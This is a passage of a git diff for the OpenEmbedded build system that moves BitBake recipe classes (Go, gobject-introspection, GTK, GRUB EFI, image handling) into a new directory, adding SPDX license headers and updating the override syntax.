+ tar -C ${S}/src/${GO_IMPORT} -cf - --exclude-vcs --exclude '*.test' --exclude 'testdata' . | \
+ tar -C ${D}${libdir}/go/src/${GO_IMPORT} --no-same-owner -xf -
+ tar -C ${B} -cf - --exclude-vcs --exclude '*.test' --exclude 'testdata' pkg | \
+ tar -C ${D}${libdir}/go --no-same-owner -xf -
+
+ if ls ${B}/${GO_BUILD_BINDIR}/* >/dev/null 2>/dev/null ; then
+ install -d ${D}${bindir}
+ install -m 0755 ${B}/${GO_BUILD_BINDIR}/* ${D}${bindir}/
+ fi
+}
+
+go_stage_testdata() {
+ oldwd="$PWD"
+ cd ${S}/src
+ find ${GO_IMPORT} -depth -type d -name testdata | while read d; do
+ if echo "$d" | grep -q '/vendor/'; then
+ continue
+ fi
+ parent=`dirname $d`
+ install -d ${D}${PTEST_PATH}/$parent
+ cp --preserve=mode,timestamps -R $d ${D}${PTEST_PATH}/$parent/
+ done
+ cd "$oldwd"
+}
+
+EXPORT_FUNCTIONS do_unpack do_configure do_compile do_install
+
+FILES:${PN}-dev = "${libdir}/go/src"
+FILES:${PN}-staticdev = "${libdir}/go/pkg"
+
+INSANE_SKIP:${PN} += "ldflags"
+
+# Add -buildmode=pie to GOBUILDFLAGS to satisfy "textrel" QA checking, but mips
+# doesn't support -buildmode=pie, so skip the QA checking for mips/rv32 and its
+# variants.
+python() {
+ if 'mips' in d.getVar('TARGET_ARCH') or 'riscv32' in d.getVar('TARGET_ARCH'):
+ d.appendVar('INSANE_SKIP:%s' % d.getVar('PN'), " textrel")
+ else:
+ d.appendVar('GOBUILDFLAGS', ' -buildmode=pie')
+}
diff --git a/meta/classes-recipe/goarch.bbclass b/meta/classes-recipe/goarch.bbclass
new file mode 100644
index 0000000000..6899ec28e4
--- /dev/null
+++ b/meta/classes-recipe/goarch.bbclass
@@ -0,0 +1,102 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+BUILD_GOOS = "${@go_map_os(d.getVar('BUILD_OS'), d)}"
+BUILD_GOARCH = "${@go_map_arch(d.getVar('BUILD_ARCH'), d)}"
+BUILD_GOTUPLE = "${BUILD_GOOS}_${BUILD_GOARCH}"
+HOST_GOOS = "${@go_map_os(d.getVar('HOST_OS'), d)}"
+HOST_GOARCH = "${@go_map_arch(d.getVar('HOST_ARCH'), d)}"
+HOST_GOARM = "${@go_map_arm(d.getVar('HOST_ARCH'), d)}"
+HOST_GO386 = "${@go_map_386(d.getVar('HOST_ARCH'), d.getVar('TUNE_FEATURES'), d)}"
+HOST_GOMIPS = "${@go_map_mips(d.getVar('HOST_ARCH'), d.getVar('TUNE_FEATURES'), d)}"
+HOST_GOARM:class-native = "7"
+HOST_GO386:class-native = "sse2"
+HOST_GOMIPS:class-native = "hardfloat"
+HOST_GOTUPLE = "${HOST_GOOS}_${HOST_GOARCH}"
+TARGET_GOOS = "${@go_map_os(d.getVar('TARGET_OS'), d)}"
+TARGET_GOARCH = "${@go_map_arch(d.getVar('TARGET_ARCH'), d)}"
+TARGET_GOARM = "${@go_map_arm(d.getVar('TARGET_ARCH'), d)}"
+TARGET_GO386 = "${@go_map_386(d.getVar('TARGET_ARCH'), d.getVar('TUNE_FEATURES'), d)}"
+TARGET_GOMIPS = "${@go_map_mips(d.getVar('TARGET_ARCH'), d.getVar('TUNE_FEATURES'), d)}"
+TARGET_GOARM:class-native = "7"
+TARGET_GO386:class-native = "sse2"
+TARGET_GOMIPS:class-native = "hardfloat"
+TARGET_GOTUPLE = "${TARGET_GOOS}_${TARGET_GOARCH}"
+GO_BUILD_BINDIR = "${@['bin/${HOST_GOTUPLE}','bin'][d.getVar('BUILD_GOTUPLE') == d.getVar('HOST_GOTUPLE')]}"
+
+# Use the MACHINEOVERRIDES to map ARM CPU architecture passed to GO via GOARM.
+# This is combined with *_ARCH to set HOST_GOARM and TARGET_GOARM.
+BASE_GOARM = ''
+BASE_GOARM:armv7ve = '7'
+BASE_GOARM:armv7a = '7'
+BASE_GOARM:armv6 = '6'
+BASE_GOARM:armv5 = '5'
+
+# Go supports dynamic linking on a limited set of architectures.
+# See the supportsDynlink function in go/src/cmd/compile/internal/gc/main.go
+GO_DYNLINK = ""
+GO_DYNLINK:arm = ""
+GO_DYNLINK:aarch64 = ""
+GO_DYNLINK:x86 = ""
+GO_DYNLINK:x86-64 = ""
+GO_DYNLINK:powerpc64 = ""
+GO_DYNLINK:powerpc64le = ""
+GO_DYNLINK:class-native = ""
+GO_DYNLINK:class-nativesdk = ""
+
+# define here because everybody inherits this class
+#
+COMPATIBLE_HOST:linux-gnux32 = "null"
+COMPATIBLE_HOST:linux-muslx32 = "null"
+COMPATIBLE_HOST:powerpc = "null"
+COMPATIBLE_HOST:powerpc64 = "null"
+COMPATIBLE_HOST:mipsarchn32 = "null"
+COMPATIBLE_HOST:riscv32 = "null"
+
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
+
+TUNE_CCARGS:remove = "-march=mips32r2"
+SECURITY_NOPIE_CFLAGS ??= ""
+
+# go can't be built with ccache:
+# gcc: fatal error: no input files
+CCACHE_DISABLE ?= "1"
+
+def go_map_arch(a, d):
+ arch = oe.go.map_arch(a)
+ if not arch:
+ raise bb.parse.SkipRecipe("Unsupported CPU architecture: %s" % a)
+ return arch
+
+def go_map_arm(a, d):
+ if a.startswith("arm"):
+ return d.getVar('BASE_GOARM')
+ return ''
+
+def go_map_386(a, f, d):
+ import re
+ if re.match('i.86', a):
+ if ('core2' in f) or ('corei7' in f):
+ return 'sse2'
+ else:
+ return 'softfloat'
+ return ''
+
+def go_map_mips(a, f, d):
+ import re
+ if a == 'mips' or a == 'mipsel':
+ if 'fpu-hard' in f:
+ return 'hardfloat'
+ else:
+ return 'softfloat'
+ return ''
+
+def go_map_os(o, d):
+ if o.startswith('linux'):
+ return 'linux'
+ return o
diff --git a/meta/classes/gobject-introspection-data.bbclass b/meta/classes-recipe/gobject-introspection-data.bbclass
index 2ef684626a..aa04c70ca6 100644
--- a/meta/classes/gobject-introspection-data.bbclass
+++ b/meta/classes-recipe/gobject-introspection-data.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# This variable is set to True if gobject-introspection-data is in
# DISTRO_FEATURES and qemu-usermode is in MACHINE_FEATURES, and False otherwise.
#
diff --git a/meta/classes-recipe/gobject-introspection.bbclass b/meta/classes-recipe/gobject-introspection.bbclass
new file mode 100644
index 0000000000..d0052cd623
--- /dev/null
+++ b/meta/classes-recipe/gobject-introspection.bbclass
@@ -0,0 +1,64 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# Inherit this class in recipes to enable building their introspection files
+
+# python3native is inherited to prevent introspection tools being run with
+# host's python 3 (they need to be run with native python 3)
+#
+# This also sets up autoconf-based recipes to build introspection data (or not),
+# depending on distro and machine features (see gobject-introspection-data class).
+inherit python3native gobject-introspection-data
+
+# meson: default option name to enable/disable introspection. This matches most
+# project's configuration. In doubts - check meson_options.txt in project's
+# source path.
+GIR_MESON_OPTION ?= 'introspection'
+GIR_MESON_ENABLE_FLAG ?= 'true'
+GIR_MESON_DISABLE_FLAG ?= 'false'
+
+# Define g-i options such that they can be disabled completely when GIR_MESON_OPTION is empty
+GIRMESONTARGET = "-D${GIR_MESON_OPTION}=${@bb.utils.contains('GI_DATA_ENABLED', 'True', '${GIR_MESON_ENABLE_FLAG}', '${GIR_MESON_DISABLE_FLAG}', d)} "
+GIRMESONBUILD = "-D${GIR_MESON_OPTION}=${GIR_MESON_DISABLE_FLAG} "
+# Auto enable/disable based on GI_DATA_ENABLED
+EXTRA_OECONF:prepend:class-target = "${@bb.utils.contains('GI_DATA_ENABLED', 'True', '--enable-introspection', '--disable-introspection', d)} "
+EXTRA_OEMESON:prepend:class-target = "${@['', '${GIRMESONTARGET}'][d.getVar('GIR_MESON_OPTION') != '']}"
+# When building native recipes, disable introspection, as it is not necessary,
+# pulls in additional dependencies, and makes build times longer
+EXTRA_OECONF:prepend:class-native = "--disable-introspection "
+EXTRA_OECONF:prepend:class-nativesdk = "--disable-introspection "
+EXTRA_OEMESON:prepend:class-native = "${@['', '${GIRMESONBUILD}'][d.getVar('GIR_MESON_OPTION') != '']}"
+EXTRA_OEMESON:prepend:class-nativesdk = "${@['', '${GIRMESONBUILD}'][d.getVar('GIR_MESON_OPTION') != '']}"
+
+# Generating introspection data depends on a combination of native and target
+# introspection tools, and qemu to run the target tools.
+DEPENDS:append:class-target = " ${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'gobject-introspection qemu-native', '', d)}"
+
+# Even when introspection is disabled, the gobject-introspection package is still needed for m4 macros.
+DEPENDS:append = " gobject-introspection-native"
+
+# This is used by introspection tools to find .gir includes
+export XDG_DATA_DIRS = "${STAGING_DATADIR}:${STAGING_LIBDIR}"
+
+do_configure:prepend:class-target () {
+ # introspection.m4 pre-packaged with upstream tarballs does not yet
+ # have our fixes
+ mkdir -p ${S}/m4
+ cp ${STAGING_DIR_NATIVE}/${datadir}/aclocal/introspection.m4 ${S}/m4
+}
+
+do_compile:prepend() {
+ # This prevents g-ir-scanner from writing cache data to $HOME
+ export GI_SCANNER_DISABLE_CACHE=1
+}
+
+# .typelib files are needed at runtime and so they go to the main package (so
+# they'll be together with libraries they support).
+FILES:${PN}:append = " ${libdir}/girepository-*/*.typelib"
+
+# .gir files go to dev package, as they're needed for developing (but not for
+# running) things that depends on introspection.
+FILES:${PN}-dev:append = " ${datadir}/gir-*/*.gir ${libdir}/gir-*/*.gir"
diff --git a/meta/classes/grub-efi-cfg.bbclass b/meta/classes-recipe/grub-efi-cfg.bbclass
index 3a2cdd698b..52e85a3bb0 100644
--- a/meta/classes/grub-efi-cfg.bbclass
+++ b/meta/classes-recipe/grub-efi-cfg.bbclass
@@ -1,8 +1,7 @@
# grub-efi.bbclass
# Copyright (c) 2011, Intel Corporation.
-# All rights reserved.
#
-# Released under the MIT license (see packages/COPYING)
+# SPDX-License-Identifier: MIT
# Provide grub-efi specific functions for building bootable images.
@@ -120,3 +119,4 @@ python build_efi_cfg() {
cfgfile.close()
}
+build_efi_cfg[vardepsexclude] += "OVERRIDES"
diff --git a/meta/classes-recipe/grub-efi.bbclass b/meta/classes-recipe/grub-efi.bbclass
new file mode 100644
index 0000000000..4afd12195f
--- /dev/null
+++ b/meta/classes-recipe/grub-efi.bbclass
@@ -0,0 +1,14 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+inherit grub-efi-cfg
+require conf/image-uefi.conf
+
+efi_populate() {
+ efi_populate_common "$1" grub-efi
+
+ install -m 0644 ${GRUB_CFG} ${DEST}${EFIDIR}/grub.cfg
+}
diff --git a/meta/classes-recipe/gsettings.bbclass b/meta/classes-recipe/gsettings.bbclass
new file mode 100644
index 0000000000..adb027ea0a
--- /dev/null
+++ b/meta/classes-recipe/gsettings.bbclass
@@ -0,0 +1,48 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# A bbclass to handle installed GSettings (glib) schemas, updated the compiled
+# form on package install and remove.
+#
+# The compiled schemas are platform-agnostic, so we can depend on
+# glib-2.0-native for the native tool and run the postinst script when the
+# rootfs builds to save a little time on first boot.
+
+# TODO use a trigger so that this runs once per package operation run
+
+GSETTINGS_PACKAGE ?= "${PN}"
+
+python __anonymous() {
+ pkg = d.getVar("GSETTINGS_PACKAGE")
+ if pkg:
+ d.appendVar("PACKAGE_WRITE_DEPS", " glib-2.0-native")
+ d.appendVar("RDEPENDS:" + pkg, " ${MLPREFIX}glib-2.0-utils")
+ d.appendVar("FILES:" + pkg, " ${datadir}/glib-2.0/schemas")
+}
+
+gsettings_postinstrm () {
+ glib-compile-schemas $D${datadir}/glib-2.0/schemas
+}
+
+python populate_packages:append () {
+ pkg = d.getVar('GSETTINGS_PACKAGE')
+ if pkg:
+ bb.note("adding gsettings postinst scripts to %s" % pkg)
+
+ postinst = d.getVar('pkg_postinst:%s' % pkg) or d.getVar('pkg_postinst')
+ if not postinst:
+ postinst = '#!/bin/sh\n'
+ postinst += d.getVar('gsettings_postinstrm')
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
+
+ bb.note("adding gsettings postrm scripts to %s" % pkg)
+
+ postrm = d.getVar('pkg_postrm:%s' % pkg) or d.getVar('pkg_postrm')
+ if not postrm:
+ postrm = '#!/bin/sh\n'
+ postrm += d.getVar('gsettings_postinstrm')
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
+}
diff --git a/meta/classes-recipe/gtk-doc.bbclass b/meta/classes-recipe/gtk-doc.bbclass
new file mode 100644
index 0000000000..9d3911966b
--- /dev/null
+++ b/meta/classes-recipe/gtk-doc.bbclass
@@ -0,0 +1,72 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# Helper class to pull in the right gtk-doc dependencies and configure
+# gtk-doc to enable or disable documentation building (which requries the
+# use of usermode qemu).
+
+# This variable is set to True if api-documentation is in
+# DISTRO_FEATURES and qemu-usermode is in MACHINE_FEATURES, and False otherwise.
+#
+# It should be used in recipes to determine whether gtk-doc based documentation should be built,
+# so that qemu use can be avoided when necessary.
+GTKDOC_ENABLED:class-native = "False"
+GTKDOC_ENABLED ?= "${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', \
+ bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', 'True', 'False', d), 'False', d)}"
+
+# meson: default option name to enable/disable gtk-doc. This matches most
+# project's configuration. In doubts - check meson_options.txt in project's
+# source path.
+GTKDOC_MESON_OPTION ?= 'docs'
+GTKDOC_MESON_ENABLE_FLAG ?= 'true'
+GTKDOC_MESON_DISABLE_FLAG ?= 'false'
+
+# Auto enable/disable based on GTKDOC_ENABLED
+EXTRA_OECONF:prepend = "${@bb.utils.contains('GTKDOC_ENABLED', 'True', '--enable-gtk-doc --enable-gtk-doc-html --disable-gtk-doc-pdf', \
+ '--disable-gtk-doc', d)} "
+EXTRA_OEMESON:prepend = "-D${GTKDOC_MESON_OPTION}=${@bb.utils.contains('GTKDOC_ENABLED', 'True', '${GTKDOC_MESON_ENABLE_FLAG}', '${GTKDOC_MESON_DISABLE_FLAG}', d)} "
+
+# Even though gtkdoc is disabled on -native, gtk-doc package is still
+# needed for m4 macros.
+DEPENDS:append = " gtk-doc-native"
+
+export STAGING_DIR_HOST
+
+inherit python3native pkgconfig qemu
+DEPENDS:append = "${@' qemu-native' if d.getVar('GTKDOC_ENABLED') == 'True' else ''}"
+
+do_compile:prepend:class-target () {
+ if [ ${GTKDOC_ENABLED} = True ]; then
+ # Write out a qemu wrapper that will be given to gtkdoc-scangobj so that it
+ # can run target helper binaries through that.
+ qemu_binary="${@qemu_wrapper_cmdline(d, '$STAGING_DIR_HOST', ['\\$GIR_EXTRA_LIBS_PATH','$STAGING_DIR_HOST/${libdir}','$STAGING_DIR_HOST/${base_libdir}'])}"
+ cat > ${B}/gtkdoc-qemuwrapper << EOF
+#!/bin/sh
+# Use a modules directory which doesn't exist so we don't load random things
+# which may then get deleted (or their dependencies) and potentially segfault
+export GIO_MODULE_DIR=${STAGING_LIBDIR}/gio/modules-dummy
+
+GIR_EXTRA_LIBS_PATH=\`find ${B} -name *.so -printf "%h\n"|sort|uniq| tr '\n' ':'\`\$GIR_EXTRA_LIBS_PATH
+GIR_EXTRA_LIBS_PATH=\`find ${B} -name .libs| tr '\n' ':'\`\$GIR_EXTRA_LIBS_PATH
+
+# meson sets this wrongly (only to libs in build-dir), qemu_wrapper_cmdline() and GIR_EXTRA_LIBS_PATH take care of it properly
+unset LD_LIBRARY_PATH
+
+if [ -d ".libs" ]; then
+ $qemu_binary ".libs/\$@"
+else
+ $qemu_binary "\$@"
+fi
+
+if [ \$? -ne 0 ]; then
+ echo "If the above error message is about missing .so libraries, then setting up GIR_EXTRA_LIBS_PATH in the recipe should help."
+ echo "(typically like this: GIR_EXTRA_LIBS_PATH=\"$""{B}/something/.libs\" )"
+ exit 1
+fi
+EOF
+ chmod +x ${B}/gtkdoc-qemuwrapper
+ fi
+}
diff --git a/meta/classes-recipe/gtk-icon-cache.bbclass b/meta/classes-recipe/gtk-icon-cache.bbclass
new file mode 100644
index 0000000000..9ecb49916c
--- /dev/null
+++ b/meta/classes-recipe/gtk-icon-cache.bbclass
@@ -0,0 +1,95 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+FILES:${PN} += "${datadir}/icons/hicolor"
+
+GTKIC_VERSION ??= '3'
+
+GTKPN = "${@ 'gtk4' if d.getVar('GTKIC_VERSION') == '4' else 'gtk+3' }"
+GTKIC_CMD = "${@ 'gtk4-update-icon-cache' if d.getVar('GTKIC_VERSION') == '4' else 'gtk-update-icon-cache-3.0' }"
+
+#gtk+3/gtk4 require GTK3DISTROFEATURES, DEPENDS on it make all the
+#recipes inherit this class require GTK3DISTROFEATURES
+inherit features_check
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
+
+DEPENDS +=" ${@ '' if d.getVar('BPN') == 'hicolor-icon-theme' else 'hicolor-icon-theme' } \
+ ${@ '' if d.getVar('BPN') == 'gdk-pixbuf' else 'gdk-pixbuf' } \
+ ${@ '' if d.getVar('BPN') == d.getVar('GTKPN') else d.getVar('GTKPN') } \
+ ${GTKPN}-native \
+"
+
+PACKAGE_WRITE_DEPS += "${GTKPN}-native gdk-pixbuf-native"
+
+gtk_icon_cache_postinst() {
+if [ "x$D" != "x" ]; then
+ $INTERCEPT_DIR/postinst_intercept update_gtk_icon_cache ${PKG} \
+ mlprefix=${MLPREFIX} \
+ libdir_native=${libdir_native}
+else
+
+ # Update the pixbuf loaders in case they haven't been registered yet
+ ${libdir}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders --update-cache
+
+ for icondir in /usr/share/icons/* ; do
+ if [ -d $icondir ] ; then
+ ${GTKIC_CMD} -fqt $icondir
+ fi
+ done
+fi
+}
+
+gtk_icon_cache_postrm() {
+if [ "x$D" != "x" ]; then
+ $INTERCEPT_DIR/postinst_intercept update_gtk_icon_cache ${PKG} \
+ mlprefix=${MLPREFIX} \
+ libdir=${libdir}
+else
+ for icondir in /usr/share/icons/* ; do
+ if [ -d $icondir ] ; then
+ ${GTKIC_CMD} -qt $icondir
+ fi
+ done
+fi
+}
+
+python populate_packages:append () {
+ packages = d.getVar('PACKAGES').split()
+ pkgdest = d.getVar('PKGDEST')
+
+ for pkg in packages:
+ icon_dir = '%s/%s/%s/icons' % (pkgdest, pkg, d.getVar('datadir'))
+ if not os.path.exists(icon_dir):
+ continue
+
+ bb.note("adding hicolor-icon-theme dependency to %s" % pkg)
+ rdepends = ' ' + d.getVar('MLPREFIX', False) + "hicolor-icon-theme"
+ d.appendVar('RDEPENDS:%s' % pkg, rdepends)
+
+ #gtk_icon_cache_postinst depend on gdk-pixbuf and gtk+3/gtk4
+ bb.note("adding gdk-pixbuf dependency to %s" % pkg)
+ rdepends = ' ' + d.getVar('MLPREFIX', False) + "gdk-pixbuf"
+ d.appendVar('RDEPENDS:%s' % pkg, rdepends)
+
+ bb.note("adding %s dependency to %s" % (d.getVar('GTKPN'), pkg))
+ rdepends = ' ' + d.getVar('MLPREFIX', False) + d.getVar('GTKPN')
+ d.appendVar('RDEPENDS:%s' % pkg, rdepends)
+
+ bb.note("adding gtk-icon-cache postinst and postrm scripts to %s" % pkg)
+
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
+ if not postinst:
+ postinst = '#!/bin/sh\n'
+ postinst += d.getVar('gtk_icon_cache_postinst')
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
+
+ postrm = d.getVar('pkg_postrm:%s' % pkg)
+ if not postrm:
+ postrm = '#!/bin/sh\n'
+ postrm += d.getVar('gtk_icon_cache_postrm')
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
+}
+
diff --git a/meta/classes/gtk-immodules-cache.bbclass b/meta/classes-recipe/gtk-immodules-cache.bbclass
index 8e783fb493..8fbe1dd1fb 100644
--- a/meta/classes/gtk-immodules-cache.bbclass
+++ b/meta/classes-recipe/gtk-immodules-cache.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# This class will update the inputmethod module cache for virtual keyboards
#
# Usage: Set GTKIMMODULES_PACKAGES to the packages that needs to update the inputmethod modules
@@ -47,23 +53,23 @@ else
fi
}
-python populate_packages_append () {
+python populate_packages:append () {
gtkimmodules_pkgs = d.getVar('GTKIMMODULES_PACKAGES').split()
for pkg in gtkimmodules_pkgs:
bb.note("adding gtk-immodule-cache postinst and postrm scripts to %s" % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('gtk_immodule_cache_postinst')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
- postrm = d.getVar('pkg_postrm_%s' % pkg)
+ postrm = d.getVar('pkg_postrm:%s' % pkg)
if not postrm:
postrm = '#!/bin/sh\n'
postrm += d.getVar('gtk_immodule_cache_postrm')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
}
python __anonymous() {
diff --git a/meta/classes-recipe/image-artifact-names.bbclass b/meta/classes-recipe/image-artifact-names.bbclass
new file mode 100644
index 0000000000..bc76ff0e16
--- /dev/null
+++ b/meta/classes-recipe/image-artifact-names.bbclass
@@ -0,0 +1,41 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+##################################################################
+# Specific image creation and rootfs population info.
+##################################################################
+
+IMAGE_BASENAME ?= "${PN}"
+IMAGE_VERSION_SUFFIX ?= "-${DATETIME}"
+IMAGE_VERSION_SUFFIX[vardepsexclude] += "DATETIME SOURCE_DATE_EPOCH"
+IMAGE_NAME ?= "${IMAGE_LINK_NAME}${IMAGE_VERSION_SUFFIX}"
+IMAGE_LINK_NAME ?= "${IMAGE_BASENAME}${IMAGE_MACHINE_SUFFIX}${IMAGE_NAME_SUFFIX}"
+
+# This needs to stay in sync with IMAGE_LINK_NAME, but with INITRAMFS_IMAGE instead of IMAGE_BASENAME
+# and without ${IMAGE_NAME_SUFFIX} which all initramfs images should set to empty
+INITRAMFS_IMAGE_NAME ?= "${@['${INITRAMFS_IMAGE}${IMAGE_MACHINE_SUFFIX}', ''][d.getVar('INITRAMFS_IMAGE') == '']}"
+
+# The default DEPLOY_DIR_IMAGE is ${MACHINE} directory:
+# meta/conf/bitbake.conf:DEPLOY_DIR_IMAGE ?= "${DEPLOY_DIR}/images/${MACHINE}"
+# so many people find it unnecessary to include this suffix to every image
+# stored there, but other people often fetch various images for different
+# MACHINEs to the same downloads directory and then the suffix is very helpful
+# add separate variable for projects to decide which scheme works best for them
+# without understanding the IMAGE_NAME/IMAGE_LINK_NAME structure.
+IMAGE_MACHINE_SUFFIX ??= "-${MACHINE}"
+
+# IMAGE_NAME is the base name for everything produced when building images.
+# The actual image that contains the rootfs has an additional suffix (.rootfs
+# by default) followed by additional suffices which describe the format (.ext4,
+# .ext4.xz, etc.).
+IMAGE_NAME_SUFFIX ??= ".rootfs"
+
+python () {
+ if bb.data.inherits_class('deploy', d) and d.getVar("IMAGE_VERSION_SUFFIX") == "-${DATETIME}":
+ import datetime
+ d.setVar("IMAGE_VERSION_SUFFIX", "-" + datetime.datetime.fromtimestamp(int(d.getVar("SOURCE_DATE_EPOCH")), datetime.timezone.utc).strftime('%Y%m%d%H%M%S'))
+ d.setVarFlag("IMAGE_VERSION_SUFFIX", "vardepvalue", "")
+}
diff --git a/meta/classes-recipe/image-combined-dbg.bbclass b/meta/classes-recipe/image-combined-dbg.bbclass
new file mode 100644
index 0000000000..729313739c
--- /dev/null
+++ b/meta/classes-recipe/image-combined-dbg.bbclass
@@ -0,0 +1,15 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+IMAGE_PREPROCESS_COMMAND:append = " combine_dbg_image"
+
+combine_dbg_image () {
+ if [ "${IMAGE_GEN_DEBUGFS}" = "1" -a -e ${IMAGE_ROOTFS}-dbg ]; then
+ # copy target files into -dbg rootfs, so it can be used for
+ # debug purposes directly
+ tar -C ${IMAGE_ROOTFS} -cf - . | tar -C ${IMAGE_ROOTFS}-dbg -xf -
+ fi
+}
diff --git a/meta/classes/image-container.bbclass b/meta/classes-recipe/image-container.bbclass
index f002858bd2..d24b030453 100644
--- a/meta/classes/image-container.bbclass
+++ b/meta/classes-recipe/image-container.bbclass
@@ -1,6 +1,12 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
ROOTFS_BOOTSTRAP_INSTALL = ""
IMAGE_TYPES_MASKED += "container"
-IMAGE_TYPEDEP_container = "tar.bz2"
+IMAGE_TYPEDEP:container = "tar.bz2"
python __anonymous() {
if "container" in d.getVar("IMAGE_FSTYPES") and \
diff --git a/meta/classes/image-live.bbclass b/meta/classes-recipe/image-live.bbclass
index 54058b350d..d2e95ef51c 100644
--- a/meta/classes/image-live.bbclass
+++ b/meta/classes-recipe/image-live.bbclass
@@ -1,5 +1,6 @@
-# Copyright (C) 2004, Advanced Micro Devices, Inc. All Rights Reserved
-# Released under the MIT license (see packages/COPYING)
+# Copyright (C) 2004, Advanced Micro Devices, Inc.
+#
+# SPDX-License-Identifier: MIT
# Creates a bootable image using syslinux, your kernel and an optional
# initrd
@@ -22,7 +23,7 @@
# ${HDDIMG_ID} - FAT image volume-id
# ${ROOTFS} - indicates a filesystem image to include as the root filesystem (optional)
-inherit live-vm-common
+inherit live-vm-common image-artifact-names
do_bootimg[depends] += "dosfstools-native:do_populate_sysroot \
mtools-native:do_populate_sysroot \
@@ -30,21 +31,21 @@ do_bootimg[depends] += "dosfstools-native:do_populate_sysroot \
virtual/kernel:do_deploy \
${MLPREFIX}syslinux:do_populate_sysroot \
syslinux-native:do_populate_sysroot \
- ${PN}:do_image_${@d.getVar('LIVE_ROOTFS_TYPE').replace('-', '_')} \
+ ${@'%s:do_image_%s' % (d.getVar('PN'), d.getVar('LIVE_ROOTFS_TYPE').replace('-', '_').split('.')[0]) if d.getVar('ROOTFS') else ''} \
"
LABELS_LIVE ?= "boot install"
ROOT_LIVE ?= "root=/dev/ram0"
INITRD_IMAGE_LIVE ?= "${MLPREFIX}core-image-minimal-initramfs"
-INITRD_LIVE ?= "${DEPLOY_DIR_IMAGE}/${INITRD_IMAGE_LIVE}-${MACHINE}.${INITRAMFS_FSTYPES}"
+INITRD_LIVE ?= "${DEPLOY_DIR_IMAGE}/${INITRD_IMAGE_LIVE}${IMAGE_MACHINE_SUFFIX}.${@d.getVar('INITRAMFS_FSTYPES').split()[0]}"
LIVE_ROOTFS_TYPE ?= "ext4"
ROOTFS ?= "${IMGDEPLOYDIR}/${IMAGE_LINK_NAME}.${LIVE_ROOTFS_TYPE}"
-IMAGE_TYPEDEP_live = "${LIVE_ROOTFS_TYPE}"
-IMAGE_TYPEDEP_iso = "${LIVE_ROOTFS_TYPE}"
-IMAGE_TYPEDEP_hddimg = "${LIVE_ROOTFS_TYPE}"
+IMAGE_TYPEDEP:live = "${LIVE_ROOTFS_TYPE}"
+IMAGE_TYPEDEP:iso = "${LIVE_ROOTFS_TYPE}"
+IMAGE_TYPEDEP:hddimg = "${LIVE_ROOTFS_TYPE}"
IMAGE_TYPES_MASKED += "live hddimg iso"
python() {
@@ -234,7 +235,7 @@ build_hddimg() {
bberror "${HDDDIR}/rootfs.img rootfs size is greather than or equal to 4GB,"
bberror "and this doesn't work on a FAT filesystem. You can either:"
bberror "1) Reduce the size of rootfs.img, or,"
- bbfatal "2) Use wic, vmdk or vdi instead of hddimg\n"
+ bbfatal "2) Use wic, vmdk,vhd, vhdx or vdi instead of hddimg\n"
fi
fi
@@ -259,6 +260,5 @@ python do_bootimg() {
bb.build.exec_func('create_symlinks', d)
}
do_bootimg[subimages] = "hddimg iso"
-do_bootimg[imgsuffix] = "."
-addtask bootimg before do_image_complete
+addtask bootimg before do_image_complete after do_rootfs
diff --git a/meta/classes/image-postinst-intercepts.bbclass b/meta/classes-recipe/image-postinst-intercepts.bbclass
index ed30bbd98d..fc15926384 100644
--- a/meta/classes/image-postinst-intercepts.bbclass
+++ b/meta/classes-recipe/image-postinst-intercepts.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# Gather existing and candidate postinst intercepts from BBPATH
POSTINST_INTERCEPTS_DIR ?= "${COREBASE}/scripts/postinst-intercepts"
POSTINST_INTERCEPTS_PATHS ?= "${@':'.join('%s/postinst-intercepts' % p for p in '${BBPATH}'.split(':'))}:${POSTINST_INTERCEPTS_DIR}"
diff --git a/meta/classes/image.bbclass b/meta/classes-recipe/image.bbclass
index 3b5600e550..28be6c6362 100644
--- a/meta/classes/image.bbclass
+++ b/meta/classes-recipe/image.bbclass
@@ -1,3 +1,8 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
IMAGE_CLASSES ??= ""
@@ -9,36 +14,38 @@ ROOTFS_BOOTSTRAP_INSTALL = "run-postinsts"
IMGCLASSES = "rootfs_${IMAGE_PKGTYPE} image_types ${IMAGE_CLASSES}"
